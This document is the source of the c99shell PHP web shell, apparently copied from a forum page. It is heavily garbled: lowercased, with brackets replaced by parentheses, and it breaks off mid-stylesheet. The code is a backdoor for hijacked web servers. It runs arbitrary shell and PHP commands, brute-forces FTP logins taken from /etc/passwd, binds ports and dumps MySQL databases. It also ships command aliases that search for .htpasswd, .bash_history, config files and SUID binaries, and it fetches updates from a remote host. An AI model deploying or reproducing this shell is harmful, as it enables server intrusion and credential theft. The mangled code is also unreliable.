6 תשובות
?
//add php tags before usage
/*
******************************************************************************************************
*
* c99shell.php v.1.0 beta (? 21.05.2005)
* freeware license.
* © ccteam.
* c99shell -?-?? www-? "?"??
*??????????:
http://ccteam.ru/releases/c99shell
*
* web: http://ccteam.ru
* icq uin #: 656555
*
*?:
* +???? (ftp, samba *)?/??
*?????
* (??/?? tar *)
*?? (???)
* modify-time? access-time?????? (?/?? $filestealth)
* +? sql-??? phpmyadmin,
?/?/??/?????? mysql
* +?? unix-?
* +? (??)? shell-? (????)
* +?? php-?
* +??? md5, unix-md5, sha1, crc32, base64
* +?????
* +? ftp-??? login;login? /etc/passwd (???? 1/100?)
*???????/??? sql)
* +? "?" include:?????????? (?)
??? $surl (??)??? (?)??? cookie "c99sh_surl",
??-?? $set_surl? cookie "set_surl"
* +? "?" /bin/bash??????
*?? back connect (???????? netcat).
* +???-??
* +???????? (? mail ())
* * -????? php
*
* ??????!
*
*??:
* ~? sql-?
* ~????
*
* ~-~????????? (????!)
? icq uin #656555??? "feedback",??????
*
* last modify: 21.05.2005
*
* © captain crunch security team. coded by tristram
*
******************************************************************************************************
*/
//starting calls
if (!function_exists ("getmicrotime")) (function getmicrotime () (list ($usec, $sec) = explode (" ", microtime ()); return ( (float)$usec + (float)$sec);))
error_reporting (5);
@ignore_user_abort (true);
@set_magic_quotes_runtime (0);
@set_time_limit (0);
$win = strtolower (substr (php_os, 0, 3)) == "win";
if (!@ob_get_contents ()) (@ob_start (); @ob_implicit_flush (0);)
define ("starttime",getmicrotime ());
if (get_magic_quotes_gpc ()) (if (!function_exists ("strips")) (function strips (&$arr,$k="") (if (is_array ($arr)) (foreach ($arr as $k=$v) (if (strtoupper ($k)!= "globals") (strips ($arr ("$k"));))) else ($arr = stripslashes ($arr);))) strips ($globals);)
$_request = array_merge ($_cookie,$_get,$_post);
foreach ($_request as $k=$v) (if (!isset ($$k)) ($$k = $v;))
$shver = "1.0 beta (21.05.2005)"; //current version
//configuration and settings
if (!empty ($unset_surl)) (setcookie ("c99sh_surl"); $surl = "";)
elseif (!empty ($set_surl)) ($surl = $set_surl; setcookie ("c99sh_surl",$surl);)
else ($surl = $_request ("c99sh_surl"); //set this cookie for manual surl
)
$surl_autofill_include = true; //if true then search variables with descriptors (urls) and save it in surl.
if ($surl_autofill_include and!$_request ("c99sh_surl")) ($include = "&"; foreach (explode ("&",getenv ("query_string")) as $v) ($v = explode ("=",$v); $name = urldecode ($v (0)); $value = urldecode ($v (1)); foreach (array ("http://","https://","ssl://","ftp://","\\\\") as $needle) (if (strpos ($value,$needle) === 0) ($includestr.= urlencode ($name)."=".urlencode ($value)."&";))) if ($_request ("surl_autofill_include")) ($includestr.= "surl_autofill_include=1&";))
if (empty ($surl))
(
$surl = "?".$includestr; //self url
)
$surl = htmlspecialchars ($surl);
$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
//authentication
$login = "c99"; //login
//don't forgot about change password!
$pass = "c99"; //password
$md5_pass = ""; //md5-cryped pass. if null, md5 ($pass)
/*comment it for turn on authentification */ $login = false; //turn off authentification
$host_allow = array ("*"); //array (" (mask)1"," (mask)2",..), (mask) = ip or host e.g. array ("192.168.0.*","127.0.0.1")
$login_txt = "restricted area"; //http-auth message.
$accessdeniedmess = "a href=\"http://ccteam.ru/releases/c99shell\"c99shell v.".$shver."/a: access denied";
$autoupdate = false; //automatic updating?
$updatenow = false; //if true, update now
$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //update server
$filestealth = false; //if true, don't change modify&access-time
$donated_html = "centerbowned by hacker/b/center";
/* if you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array (""); //array ("act1","act2,"..), if $act is in this array, display $donated_html.
$curdir = "./"; //start directory
//$curdir = getenv ("document_root");
$tmpdir = ""; //directory for tempory files. if empty, auto-fill (/tmp or %windir/temp)
$tmpdir_log = "./"; //directory logs of long processes (e.g. brute, scan..)
$log_email = "[email protected]"; //default e-mail for sending logs
$sort_default = "0a"; //default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = true; //if true then save sorting-type.
// registered file-types.
// array (
// " (action1)"=array ("ext1","ext2","ext3",..),
// " (action2)"=array ("ext4","ext5","ext6",..),
//...
// )
$ftypes = array (
"html"=array ("html","htm","shtml"),
"txt"=array ("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=array ("sh","install","bat","cmd"),
"ini"=array ("ini","inf"),
"code"=array ("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=array ("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=array ("sdb"),
"phpsess"=array ("sess"),
"download"=array ("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// registered executable file-types.
// array (
// string "command (i)"=array ("ext1","ext2","ext3",..),
//...
// )
// (command): %f% = filename
$exeftypes = array (
getenv ("phprc")." %f%"=array ("php","php3","php4"),
);
/* highlighted files.
array (
i=array ( (regexp), (type), (opentag), (closetag), (break))
...
)
string (regexp) - regular exp.
int (type):
0 - files and folders (as default),
1 - files only, 2 - folders only
string (opentag) - open html-tag, e.g. "b" (default)
string (closetag) - close html-tag, e.g. "/b" (default)
bool (break) - if true and found match then break
*/
$regxp_highlight = array (
array (basename ($_server ("php_self")),1,"font color=\"yellow\"","/font"), // example
array ("config.php",1) // example
);
$safemode_diskettes = array ("a"); // this variable for disabling diskett-errors.
// array (i= (letter)..); string (letter) - letter of a drive
// set as false or for turn off.
$hexdump_lines = 8; // lines in hex preview file
$hexdump_rows = 24; // 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // get first n lines from /etc/passwd
$bindport_pass = "c99"; // default password for binding
$bindport_port = "11457"; // default port for binding
// command-aliases
if (!$win)
(
$cmdaliases = array (
array ("-----------------------------------------------------------", "ls -la"),
array ("find all suid files", "find / -type f -perm -04000 -ls"),
array ("find suid files in current dir", "find. -type f -perm -04000 -ls"),
array ("find all sgid files", "find / -type f -perm -02000 -ls"),
array ("find sgid files in current dir", "find. -type f -perm -02000 -ls"),
array ("find config.inc.php files", "find / -type f -name config.inc.php"),
array ("find config* files", "find / -type f -name \"config*\""),
array ("find config* files in current dir", "find. -type f -name \"config*\""),
array ("find all writable directories and files", "find / -perm -2 -ls"),
array ("find all writable directories and files in current dir", "find. -perm -2 -ls"),
array ("find all service.pwd files", "find / -type f -name service.pwd"),
array ("find service.pwd files in current dir", "find. -type f -name service.pwd"),
array ("find all.htpasswd files", "find / -type f -name.htpasswd"),
array ("find.htpasswd files in current dir", "find. -type f -name.htpasswd"),
array ("find all.bash_history files", "find / -type f -name.bash_history"),
array ("find.bash_history files in current dir", "find. -type f -name.bash_history"),
array ("find all.fetchmailrc files", "find / -type f -name.fetchmailrc"),
array ("find.fetchmailrc files in current dir", "find. -type f -name.fetchmailrc"),
array ("list file attributes on a linux second extended file system", "lsattr -va"),
array ("show opened ports", "netstat -an | grep -i listen")
);
)
else
(
$cmdaliases = array (
array ("-----------------------------------------------------------", "dir"),
array ("show opened ports", "netstat -an")
);
)
$sess_cookie = "c99shvars"; // cookie-variable name
$usefsbuff = true; //buffer-function
$copy_unset = false; //remove copied files from buffer after pasting
//quick launch
$quicklaunch = array (
array ("img src=\"".$surl."act=img&img=home\" alt=\"home\" height=\"20\" width=\"20\" border=\"0\"",$surl),
array ("img src=\"".$surl."act=img&img=back\" alt=\"back\" height=\"20\" width=\"20\" border=\"0\"","#\" onclick=\"history.back (1)"),
array ("img src=\"".$surl."act=img&img=forward\" alt=\"forward\" height=\"20\" width=\"20\" border=\"0\"","#\" onclick=\"history.go (1)"),
array ("img src=\"".$surl."act=img&img=up\" alt=\"updir\" height=\"20\" width=\"20\" border=\"0\"",$surl."act=ls&d=%upd&sort=%sort"),
array ("img src=\"".$surl."act=img&img=refresh\" alt=\"refresh\" height=\"20\" width=\"17\" border=\"0\"",""),
array ("img src=\"".$surl."act=img&img=search\" alt=\"search\" height=\"20\" width=\"20\" border=\"0\"",$surl."act=search&d=%d"),
array ("img src=\"".$surl."act=img&img=buffer\" alt=\"buffer\" height=\"20\" width=\"20\" border=\"0\"",$surl."act=fsbuff&d=%d"),
array ("bencoder/b",$surl."act=encoder&d=%d"),
array ("bbind/b",$surl."act=bind&d=%d"),
array ("bproc./b",$surl."act=ps_aux&d=%d"),
array ("bftp brute/b",$surl."act=ftpquickbrute&d=%d"),
array ("bsec./b",$surl."act=security&d=%d"),
array ("bsql/b",$surl."act=sql&d=%d"),
array ("bphp-code/b",$surl."act=eval&d=%d"),
array ("bfeedback/b",$surl."act=feedback&d=%d"),
array ("bself remove/b",$surl."act=selfremove"),
array ("blogout/b","#\" onclick=\"if (confirm ('are you sure?')) window.close ()")
);
//highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#ffffff";
$highlight_comment = "#6a6a6a";
$highlight_default = "#0000bb";
$highlight_html = "#1300ff";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_request ("f");
@extract ($_request ("c99shcook"));
//end configuration
// \/ next code isn't for editing \/
$tmp = array ();
foreach ($host_allow as $k=$v) ($tmp () = str_replace ("\\*",".*",preg_quote ($v));)
$s = "!^ (".implode ("|",$tmp).")$!i";
if (!preg_match ($s,getenv ("remote_addr")) and!preg_match ($s,gethostbyaddr (getenv ("remote_addr")))) (exit ("a href=\"http://ccteam.ru/releases/cc99shell\"c99shell/a: access denied - your host (".getenv ("remote_addr").") not allow");)
if ($login)
(
if (empty ($md5_pass)) ($md5_pass = md5 ($pass);)
if ( ($_server ("php_auth_user")!= $login ) or (md5 ($_server ("php_auth_pw"))!= $md5_pass))
(
if ($login_txt === false) ($login_txt = "";)
elseif (empty ($login_txt)) ($login_txt = strip_tags (ereg_replace (" |br"," ",$donated_html));)
header ("www-authenticate: basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
header ("http/1.0 401 unauthorized");
exit ($accessdeniedmess);
)
)
if ($act!= "img")
(
$lastdir = realpath (".");
chdir ($curdir);
if ( ($selfwrite) or ($updatenow))
(
if ($selfwrite == "1") ($selfwrite = "c99shell.php";)
c99sh_getupdate ();
$data = file_get_contents ($c99sh_updatefurl);
$fp = fopen ($data,"w");
fwrite ($fp,$data);
fclose ($fp);
exit;
)
$sess_data = unserialize ($_cookie ("$sess_cookie"));
if (!is_array ($sess_data)) ($sess_data = array ();)
if (!is_array ($sess_data ("copy"))) ($sess_data ("copy") = array ();)
if (!is_array ($sess_data ("cut"))) ($sess_data ("cut") = array ();)
if (!function_exists ("c99_buff_prepare"))
(
function c99_buff_prepare ()
(
global $sess_data;
global $act;
foreach ($sess_data ("copy") as $k=$v) ($sess_data ("copy") ($k) = str_replace ("\\",directory_separator,realpath ($v));)
foreach ($sess_data ("cut") as $k=$v) ($sess_data ("cut") ($k) = str_replace ("\\",directory_separator,realpath ($v));)
$sess_data ("copy") = array_unique ($sess_data ("copy"));
$sess_data ("cut") = array_unique ($sess_data ("cut"));
sort ($sess_data ("copy"));
sort ($sess_data ("cut"));
if ($act!= "copy") (foreach ($sess_data ("cut") as $k=$v) (if ($sess_data ("copy") ($k) == $v) (unset ($sess_data ("copy") ($k)); )))
else (foreach ($sess_data ("copy") as $k=$v) (if ($sess_data ("cut") ($k) == $v) (unset ($sess_data ("cut") ($k));)))
)
)
c99_buff_prepare ();
if (!function_exists ("c99_sess_put"))
(
function c99_sess_put ($data)
(
global $sess_cookie;
global $sess_data;
c99_buff_prepare ();
$sess_data = $data;
$data = serialize ($data);
setcookie ($sess_cookie,$data);
)
)
if ($sort_save)
(
if (!empty ($sort)) (setcookie ("sort",$sort);)
if (!empty ($sql_sort)) (setcookie ("sql_sort",$sql_sort);)
)
if (!function_exists ("str2mini"))
(
function str2mini ($content,$len)
(
if (strlen ($content) $len)
(
$len = ceil ($len/2) - 2;
return substr ($content, 0, $len)."...".substr ($content, -$len);
)
else (return $content;)
)
)
if (!function_exists ("view_size"))
(
function view_size ($size)
(
if (!is_numeric ($size)) (return false;)
else
(
if ($size = 1073741824) ($size = round ($size/1073741824*100)/100." gb";)
elseif ($size = 1048576) ($size = round ($size/1048576*100)/100." mb";)
elseif ($size = 1024) ($size = round ($size/1024*100)/100." kb";)
else ($size = $size. " b";)
return $size;
)
)
)
if (!function_exists ("fs_copy_dir"))
(
function fs_copy_dir ($d,$t)
(
$d = str_replace ("\\",directory_separator,$d);
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
$h = opendir ($d);
while ( ($o = readdir ($h))!== false)
(
if ( ($o!= ".") and ($o!= ".."))
(
if (!is_dir ($d.directory_separator.$o)) ($ret = copy ($d.directory_separator.$o,$t.directory_separator.$o);)
else ($ret = mkdir ($t.directory_separator.$o); fs_copy_dir ($d.directory_separator.$o,$t.directory_separator.$o);)
if (!$ret) (return $ret;)
)
)
closedir ($h);
return true;
)
)
if (!function_exists ("fs_copy_obj"))
(
function fs_copy_obj ($d,$t)
(
$d = str_replace ("\\",directory_separator,$d);
$t = str_replace ("\\",directory_separator,$t);
if (!is_dir (dirname ($t))) (mkdir (dirname ($t));)
if (is_dir ($d))
(
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
if (substr ($t,-1,1)!= directory_separator) ($t.= directory_separator;)
return fs_copy_dir ($d,$t);
)
elseif (is_file ($d)) (return copy ($d,$t);)
else (return false;)
)
)
if (!function_exists ("fs_move_dir"))
(
function fs_move_dir ($d,$t)
(
$h = opendir ($d);
if (!is_dir ($t)) (mkdir ($t);)
while ( ($o = readdir ($h))!== false)
(
if ( ($o!= ".") and ($o!= ".."))
(
$ret = true;
if (!is_dir ($d.directory_separator.$o)) ($ret = copy ($d.directory_separator.$o,$t.directory_separator.$o);)
else (if (mkdir ($t.directory_separator.$o) and fs_copy_dir ($d.directory_separator.$o,$t.directory_separator.$o)) ($ret = false;))
if (!$ret) (return $ret;)
)
)
closedir ($h);
return true;
)
)
if (!function_exists ("fs_move_obj"))
(
function fs_move_obj ($d,$t)
(
$d = str_replace ("\\",directory_separator,$d);
$t = str_replace ("\\",directory_separator,$t);
if (is_dir ($d))
(
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
if (substr ($t,-1,1)!= directory_separator) ($t.= directory_separator;)
return fs_move_dir ($d,$t);
)
elseif (is_file ($d))
(
if (copy ($d,$t)) (return unlink ($d);)
else (unlink ($t); return false;)
)
else (return false;)
)
)
if (!function_exists ("fs_rmdir"))
(
function fs_rmdir ($d)
(
$h = opendir ($d);
while ( ($o = readdir ($h))!== false)
(
if ( ($o!= ".") and ($o!= ".."))
(
if (!is_dir ($d.$o)) (unlink ($d.$o);)
else (fs_rmdir ($d.$o.directory_separator); rmdir ($d.$o);)
)
)
closedir ($h);
rmdir ($d);
return!is_dir ($d);
)
)
if (!function_exists ("fs_rmobj"))
(
function fs_rmobj ($o)
(
$o = str_replace ("\\",directory_separator,$o);
if (is_dir ($o))
(
if (substr ($o,-1,1)!= directory_separator) ($o.= directory_separator;)
return fs_rmdir ($o);
)
elseif (is_file ($o)) (return unlink ($o);)
else (return false;)
)
)
if (!function_exists ("myshellexec"))
(
function myshellexec ($cmd)
(
$result = "";
if (!empty ($cmd))
(
if (is_callable ("exec")) (exec ($cmd,$result); $result = join ("\n",$result);)
elseif (is_callable ("shell_exec")) ($result = shell_exec ($cmd);)
elseif (is_callable ("system")) (@ob_start (); system ($cmd); $result = @ob_get_contents (); @ob_end_clean ();)
elseif (is_callable ("passthru")) (@ob_start (); passthru ($cmd); $result = @ob_get_contents (); @ob_end_clean ();)
elseif ( ($result = `$cmd`)!== false) ()
elseif (is_resource ($fp = popen ($cmd,"r")))
(
$result = "";
while (!feof ($fp)) ($result.= fread ($fp,1024);)
pclose ($fp);
)
)
return $result;
)
)
if (!function_exists ("tabsort"))
(
function tabsort ($a,$b) (global $v; return strnatcmp ($a ($v), $b ($v));)
)
if (!function_exists ("view_perms"))
(
function view_perms ($mode)
(
if ( ($mode & 0xc000) === 0xc000) ($type = "s";)
elseif ( ($mode & 0x4000) === 0x4000) ($type = "d";)
elseif ( ($mode & 0xa000) === 0xa000) ($type = "l";)
elseif ( ($mode & 0x8000) === 0x8000) ($type = "-";)
elseif ( ($mode & 0x6000) === 0x6000) ($type = "b";)
elseif ( ($mode & 0x2000) === 0x2000) ($type = "c";)
elseif ( ($mode & 0x1000) === 0x1000) ($type = "p";)
else ($type = "?";)
$owner ("read") = ($mode & 00400)? "r": "-";
$owner ("write") = ($mode & 00200)? "w": "-";
$owner ("execute") = ($mode & 00100)? "x": "-";
$group ("read") = ($mode & 00040)? "r": "-";
$group ("write") = ($mode & 00020)? "w": "-";
$group ("execute") = ($mode & 00010)? "x": "-";
$world ("read") = ($mode & 00004)? "r": "-";
$world ("write") = ($mode & 00002)? "w": "-";
$world ("execute") = ($mode & 00001)? "x": "-";
if ( $mode & 0x800 ) ($owner ("execute") = ($owner ("execute") == "x")? "s": "s";)
if ( $mode & 0x400 ) ($group ("execute") = ($group ("execute") == "x")? "s": "s";)
if ( $mode & 0x200 ) ($world ("execute") = ($world ("execute") == "x")? "t": "t";)
return $type.$owner ("read").$owner ("write").$owner ("execute").
$group ("read").$group ("write").$group ("execute").
$world ("read").$world ("write").$world ("execute");
)
)
if (!function_exists ("parse_perms"))
(
function parse_perms ($mode)
(
if ( ($mode & 0xc000) === 0xc000) ($t = "s";)
elseif ( ($mode & 0x4000) === 0x4000) ($t = "d";)
elseif ( ($mode & 0xa000) === 0xa000) ($t = "l";)
elseif ( ($mode & 0x8000) === 0x8000) ($t = "-";)
elseif ( ($mode & 0x6000) === 0x6000) ($t = "b";)
elseif ( ($mode & 0x2000) === 0x2000) ($t = "c";)
elseif ( ($mode & 0x1000) === 0x1000) ($t = "p";)
else ($t = "?";)
$o ("r") = ($mode & 00400) 0; $o ("w") = ($mode & 00200) 0; $o ("x") = ($mode & 00100) 0;
$g ("r") = ($mode & 00040) 0; $g ("w") = ($mode & 00020) 0; $g ("x") = ($mode & 00010) 0;
$w ("r") = ($mode & 00004) 0; $w ("w") = ($mode & 00002) 0; $w ("x") = ($mode & 00001) 0;
return array ("t"=$t,"o"=$o,"g"=$g,"w"=$w);
)
)
if (!function_exists ("view_perms_color"))
(
function view_perms_color ($o)
(
if (!is_readable ($o)) (return "font color=\"red\"".view_perms (fileperms ($o))."/font";)
elseif (!is_writable ($o)) (return "font color=\"white\"".view_perms (fileperms ($o))."/font";)
else (return "font color=\"green\"".view_perms (fileperms ($o))."/font";)
)
)
if (!function_exists ("gchds")) (function gchds ($a,$b,$c,$d="") (if ($a == $b) (return $c;) else (return $d;)))
if (!function_exists ("c99sh_getupdate"))
(
function c99sh_getupdate ()
(
global $updatenow;
$data = @file_get_contents ($c99sh_updatefurl."?version=".$shver."&");
if (!$data) (echo "can't fetch update-information!";)
else
(
$data = unserialize (base64_decode ($data));
if (!is_array ($data)) (echo "corrupted update-information!";)
elseif ($shver $data ("cur")) ($updatenow = true;)
)
)
)
if (!function_exists ("mysql_dump"))
(
function mysql_dump ($set)
(
global $shver;
$sock = $set ("sock");
$db = $set ("db");
$print = $set ("print");
$nl2br = $set ("nl2br");
$file = $set ("file");
$add_drop = $set ("add_drop");
$tabs = $set ("tabs");
$onlytabs = $set ("onlytabs");
$ret = array ();
$ret ("err") = array ();
if (!is_resource ($sock)) (echo ("error: \$sock is not valid resource.");)
if (empty ($db)) ($db = "db";)
if (empty ($print)) ($print = 0;)
if (empty ($nl2br)) ($nl2br = 0;)
if (empty ($add_drop)) ($add_drop = true;)
if (empty ($file))
(
global $win;
if ($win) ($file = "c:\\tmp\\dump_".$server_name."_".$db."_".date ("d-m-y-h-i-s").".sql";)
else ($file = "/tmp/dump_".$server_name."_".$db."_".date ("d-m-y-h-i-s").".sql";)
)
if (!is_array ($tabs)) ($tabs = array ();)
if (empty ($add_drop)) ($add_drop = true;)
if (sizeof ($tabs) == 0)
(
// retrive tables-list
$res = mysql_query ("show tables from ".$db, $sock);
if (mysql_num_rows ($res) 0) (while ($row = mysql_fetch_row ($res)) ($tabs () = $row (0);))
)
$server_addr = getenv ("server_addr");
$server_name = getenv ("server_name");
$out = "# dumped by c99shell.sql v. ".$shver."
# home page: http://ccteam.ru
#
# host settings:
# mysql version: (".mysql_get_server_info ().") running on ".$server_addr." (".$server_name.")"."
# date: ".date ("d.m.y h:i:s")."
# ".gethostbyname ($server_addr)." (".$server_addr.")"." dump db \"".$db."\"
#---------------------------------------------------------
";
$c = count ($onlytabs);
foreach ($tabs as $tab)
(
if ( (in_array ($tab,$onlytabs)) or (!$c))
(
if ($add_drop) ($out.= "drop table if exists `".$tab."`;\n";)
// recieve query for create table structure
$res = mysql_query ("show create table `".$tab."`", $sock);
if (!$res) ($ret ("err") () = mysql_smarterror ();)
else
(
$row = mysql_fetch_row ($res);
$out.= $row ("1").";\n\n";
// recieve table variables
$res = mysql_query ("select * from `$tab`", $sock);
if (mysql_num_rows ($res) 0)
(
while ($row = mysql_fetch_assoc ($res))
(
$keys = implode ("`, `", array_keys ($row));
$values = array_values ($row);
foreach ($values as $k=$v) ($values ($k) = addslashes ($v);)
$values = implode ("', '", $values);
$sql = "insert into `$tab` (`".$keys."`) values ('".$values."');\n";
$out.= $sql;
)
)
)
)
)
$out.= "#---------------------------------------------------------------------------------\n\n";
if ($file)
(
$fp = fopen ($file, "w");
if (!$fp) ($ret ("err") () = 2;)
else
(
fwrite ($fp, $out);
fclose ($fp);
)
)
if ($print) (if ($nl2br) (echo nl2br ($out);) else (echo $out;))
return $out;
)
)
if (!function_exists ("mysql_buildwhere"))
(
function mysql_buildwhere ($array,$sep=" and",$functs=array ())
(
if (!is_array ($array)) ($array = array ();)
$result = "";
foreach ($array as $k=$v)
(
$value = "";
if (!empty ($functs ($k))) ($value.= $functs ($k)." (";)
$value.= "'".addslashes ($v)."'";
if (!empty ($functs ($k))) ($value.= ")";)
$result.= "`".$k."` = ".$value.$sep;
)
$result = substr ($result,0,strlen ($result)-strlen ($sep));
return $result;
)
)
if (!function_exists ("mysql_fetch_all"))
(
function mysql_fetch_all ($query,$sock)
(
if ($sock) ($result = mysql_query ($query,$sock);)
else ($result = mysql_query ($query);)
$array = array ();
while ($row = mysql_fetch_array ($result)) ($array () = $row;)
mysql_free_result ($result);
return $array;
)
)
if (!function_exists ("mysql_smarterror"))
(
function mysql_smarterror ($type,$sock)
(
if ($sock) ($error = mysql_error ($sock);)
else ($error = mysql_error ();)
$error = htmlspecialchars ($error);
return $error;
)
)
if (!function_exists ("mysql_query_form"))
(
function mysql_query_form ()
(
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if ( ($submit) and (!$sql_query_result) and ($sql_confirm)) (if (!$sql_query_error) ($sql_query_error = "query was empty";) echo "berror:/b br".$sql_query_error."br";)
if ($sql_query_result or (!$sql_confirm)) ($sql_act = $sql_goto;)
if ( (!$submit) or ($sql_act))
(
echo "table border=0trtdform action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"post\"b"; if ( ($sql_query) and (!$submit)) (echo "do you really want to";) else (echo "sql-query";) echo ":/bbrbrtextarea name=\"sql_query\" cols=\"100\" rows=\"10\"".htmlspecialchars ($sql_query)."/textareabrbrinput type=\"hidden\" name=\"sql_act\" value=\"query\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"input type=\"hidden\" name=\"submit\" value=\"1\"input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars ($sql_goto)."\"input type=\"submit\" name=\"sql_confirm\" value=\"yes\" input type=\"submit\" value=\"no\"/form/td";
if ($tbl_struct)
(
echo "td valign=\"top\"bfields:/bbr";
foreach ($tbl_struct as $field) ($name = $field ("field"); echo "» a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"b".$name."/b/abr";)
echo "/td/tr/table";
)
)
if ($sql_query_result or (!$sql_confirm)) ($sql_query = $sql_last_query;)
)
)
if (!function_exists ("mysql_create_db"))
(
function mysql_create_db ($db,$sock="")
(
$sql = "create database `".addslashes ($db)."`;";
if ($sock) (return mysql_query ($sql,$sock);)
else (return mysql_query ($sql);)
)
)
if (!function_exists ("mysql_query_parse"))
(
function mysql_query_parse ($query)
(
$query = trim ($query);
$arr = explode (" ",$query);
/*array array ()
(
"method"=array (output_type),
"method1"...
...
)
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array (
"select"=array (3,1),
"show"=array (2,1),
"delete"=array (1),
"drop"=array (1)
);
$result = array ();
$op = strtoupper ($arr (0));
if (is_array ($types ($op)))
(
$result ("propertions") = $types ($op);
$result ("query") = $query;
if ($types ($op) == 2)
(
foreach ($arr as $k=$v)
(
if (strtoupper ($v) == "limit")
(
$result ("limit") = $arr ($k+1);
$result ("limit") = explode (",",$result ("limit"));
if (count ($result ("limit")) == 1) ($result ("limit") = array (0,$result ("limit") (0));)
unset ($arr ($k),$arr ($k+1));
)
)
)
)
else (return false;)
)
)
if (!function_exists ("c99fsearch"))
(
function c99fsearch ($d)
(
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
$h = opendir ($d);
while ( ($f = readdir ($h))!== false)
(
if ($f!= "." && $f!= "..")
(
$bool = (empty ($a ("name_regexp")) and strpos ($f,$a ("name"))!== false) || ($a ("name_regexp") and ereg ($a ("name"),$f));
if (is_dir ($d.$f))
(
$search_i_d++;
if (empty ($a ("text")) and $bool) ($found () = $d.$f; $found_d++;)
if (!is_link ($d.$f)) (c99fsearch ($d.$f);)
)
else
(
$search_i_f++;
if ($bool)
(
if (!empty ($a ("text")))
(
$r = @file_get_contents ($d.$f);
if ($a ("text_wwo")) ($a ("text") = " ".trim ($a ("text"))." ";)
if (!$a ("text_cs")) ($a ("text") = strtolower ($a ("text")); $r = strtolower ($r);)
if ($a ("text_regexp")) ($bool = ereg ($a ("text"),$r);)
else ($bool = strpos (" ".$r,$a ("text"),1);)
if ($a ("text_not")) ($bool =!$bool;)
if ($bool) ($found () = $d.$f; $found_f++;)
)
else ($found () = $d.$f; $found_f++;)
)
)
)
)
closedir ($h);
)
)
if ($act == "gofile") (if (is_dir ($f)) ($act = "ls"; $d = $f;) else ($act = "f"; $d = dirname ($f); $f = basename ($f);))
//sending headers
header ("expires: mon, 26 jul 1997 05:00:00 gmt");
header ("last-modified: ".gmdate ("d, d m y h:i:s")." gmt");
header ("cache-control: no-store, no-cache, must-revalidate");
header ("cache-control: post-check=0, pre-check=0", false);
header ("pragma: no-cache");
if (empty ($tmpdir))
(
if (!$win) ($tmpdir = "/tmp/";)
else ($tmpdir = getenv ("systemroot");)
)
else ($tmpdir = realpath ($tmpdir);)
$tmpdir = str_replace ("\\",directory_separator,$tmpdir);
if (substr ($tmpdir,-1,1)!= directory_separator) ($tmpdir.= directory_separator;)
if (empty ($tmpdir_logs)) ($tmpdir_logs = $tmpdir;)
else ($tmpdir_logs = realpath ($tmpdir_logs);)
if (@ini_get ("safe_mode") or strtolower (@ini_get ("safe_mode")) == "on")
(
$safemode = true;
$hsafemode = "font color=\"red\"on (secure)/font";
)
else ($safemode = false; $hsafemode = "font color=\"green\"off (not secure)/font";)
$v = @ini_get ("open_basedir");
if ($v or strtolower ($v) == "on") ($openbasedir = true; $hopenbasedir = "font color=\"red\"".$v."/font";)
else ($openbasedir = false; $hopenbasedir = "font color=\"green\"off (not secure)/font";)
$sort = htmlspecialchars ($sort);
if (empty ($sort)) ($sort = $sort_default;)
$sort (1) = strtolower ($sort (1));
$disp_server_software = getenv ("server_software");
if (!ereg ("php/".phpversion (),$disp_server_software)) ($disp_server_software.= ". php/".phpversion ();)
$disp_server_software = str_replace ("php/".phpversion (),"a href=\"".$surl."act=phpinfo\" target=\"_blank\"buphp/".phpversion ()."/u/b/a",htmlspecialchars ($disp_server_software));
@ini_set ("highlight.bg",$highlight_bg); //ffffff
@ini_set ("highlight.comment",$highlight_comment); //#ff8000
@ini_set ("highlight.default",$highlight_default); //#0000bb
@ini_set ("highlight.html",$highlight_html); //#000000
@ini_set ("highlight.keyword",$highlight_keyword); //#007700
@ini_set ("highlight.string",$highlight_string); //#dd0000
if (!is_array ($actbox)) ($actbox = array ();)
$dspact = $act = htmlspecialchars ($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode ($d);
?htmlheadmeta http-equiv="content-type" content="text/html; charset=windows-1251"meta http-equiv="content-language" content="en-us"title?php echo getenv ("http_host");? - c99shell/titlestyletd ( font-size: 8pt; color: #ebebeb; font-family: verdana;)body ( scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: verdana;)td.header ( font-weight: normal; font-size: 10pt; background: #7d7474; color: white; font-family: verdana;)a ( font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none;)a:unknown ( font-weight: normal; color: #ffffff; font-family: verdana; text-decoration: none;)a.links ( color: #ffffff; text-decoration: none;)a.links:unknown ( font-weight: normal; color: #ffffff; text-decoration: none;)a:hover ( color: #ffffff; text-decoration: underline;).skin0 (position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:verdana; line-height:20px; cursor:default; visibility:hidden;;).skin1 (cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: verdana,geneva, arial; font-size: 10px; color: black;).menuitems (padding-left:15px; 